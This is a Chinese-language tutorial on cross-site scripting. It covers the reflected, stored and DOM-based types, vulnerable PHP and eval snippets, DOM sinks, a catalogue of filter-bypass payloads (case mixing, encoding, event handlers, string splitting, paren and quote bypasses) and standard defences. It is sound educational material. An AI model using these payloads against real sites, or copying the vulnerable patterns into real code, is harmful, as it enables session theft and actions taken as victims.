一、XSS定义
XSS攻击(Cross Site Scripting),跨站脚本攻击,通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
二、XSS攻击的危害
1、盗取用户cookie,获取敏感信息
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。
三、分类
1、反射型XSS(非持久型)【前端 -> 后端 -> 前端】
非持久型的意思是该XSS攻击相对于访问者而言是一次性的。攻击者的恶意脚本通过url的方式向服务器发起请求,服务器解析后将XSS代码一起传回浏览器,最后浏览器执行相应的XSS脚本。
也就是说想要触发漏洞,需要访问特定的链接才能够实现。
举个简单例子:
http://www.a.com/xss/1.php
的代码如下:
<?php
echo $_GET['a'];
?>
如果输入a的值未经任何过滤就直接输出。
当输入以下内容
http://www.a.com/xss/1.php?a=<script>alert("K")</script>
则 alert() 函数会在浏览器触发。
2、存储型XSS(持久型)【前端 -> 后端 -> 数据库 -> 前端】
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。
最典型的例子是留言板XSS,攻击者提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器执行XSS代码,触发了XSS攻击。
这个过程一般而言只要用户访问这个界面就行了,不需要访问特定的URL。
举个简单例子:
攻击者在留言内容中输入一行:
<script>alert(“k”)</script>
那么留言板界面的网页代码会变成形如以下:
<html>
<head>
<title>留言板</title>
</head>
<body>
<div id=”board”
<script>alert(“k”)</script>
</div>
</body>
</html>
3、DOM XSS【前端】
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
举个简单例子:
http://www.a.com/xss/domxss.html
代码如下:
<script>
eval(location.hash.substr(1));
</script>
触发方式为:http://www.a.com/xss/domxss.html#alert(1)
这个 URL# 后的内容是不会发送到服务器端的,仅仅在客户端被接收并解执行。
- 常见的输入点有:
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.nam
- XHR(XMLHttpRequest)请求回来的数据
document.cookie
- 直接输出html内容
document.write(...)
document.writeln(...)
document.body.innerHtml=...
- 直接修改DOM树(包括DHTML)
document.forms[0].action...(以及其他集合,如:一些对象的src/href属性等)
document.attachEvent(...)
document.create...(...)
document.execCommand(...)
document.body. ...(直接通过body对象访问DOM)
window.attachEvent(...)
- 替换document.URL
document.location=...(以及直接赋值给location的href,host,hostname属性)
document.location.hostname=...
document.location.replace(...)
document.location.assign(...)
document.URL=...
window.navigate(...)
- 打开或者修改新窗口
document.open(...)
window.open(...)
window.location.href=...(以及直接赋值给location的href,host,hostname属性)直接执行脚本,如:
eval(...)
window.execScript(...)
window.setInterval(...)
window.setTimeout(...)
四、常见绕过方法
1、大小写绕过
当网站仅过滤<script>或者<img>等标签,而没有考虑标签中的大小写并不影响浏览器的解析所致。如:
<sCript>alert("hey!")</scRipt>
<IMG SRC=JaVaScRiPt:alert('XSS')>
2、只过滤一个标签
例如:双写,让过滤完script标签后的语句中还有script标签
<sCri<script>pt>alert("hey!")</scRi</script>pt>
3、编码脚本代码绕过关键字过滤
当服务器对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,所以可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行。
例如alert(1)Unicode编码过后就是:
\u0061\u006c\u0065\u0072\u0074(1)
所以构建出来的攻击语句如下:
<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
同理还可以使用诸如url编码、Ascii码、base64、十六进制、八进制绕过等。
4、主动闭合标签实现注入代码
如以下两个例子:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
";alert("I am coming again~");"
5、其他标签注入代码
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
//当用户鼠标移动时即可运行代码
<div onm ouseover=‘do something here’>
//当用户鼠标在这个块上面时即可运行,可以配合weight等参数将div覆盖页面
<img src='k.7' one rror='alert("hey!")'>
//指定的图片地址不存在,即一定会发生错误,这时执行onerror里面的代码进行弹窗
6、字符拼接
<img src="x" one rror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> //利用eval
<script>top["al"+"ert"](`xss`);</script> //利用top
7、过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
8、过滤单引号、双引号
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号。
<img src="x" one rror=alert(`xss`);>
9、过滤url地址
1)编码绕过
2)html标签中用 // 可以代替 http://
<img src="x" one rror=document.location=`//www.baidu.com`>
3)使用\\
在 windows下 \ 本身就有特殊用途,是一个 path 的写法,所以 \\ 在 Windows 下是 file协议,在 linux 下才是当前域的协议。
五、防范手段
1、过滤一些危险字符,以及转义 & < > " ' / 等危险字符U。
2、HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此Cookie。
3、设置CSP(Content Security Policy)。
4、输入内容长度限制。
附录
√https://www.bilibili.com/video/BV1rJ411T7oN
√https://zhuanlan.zhihu.com/p/26177815
√https://blog.csdn.net/qw_xingzhe/article/details/80712840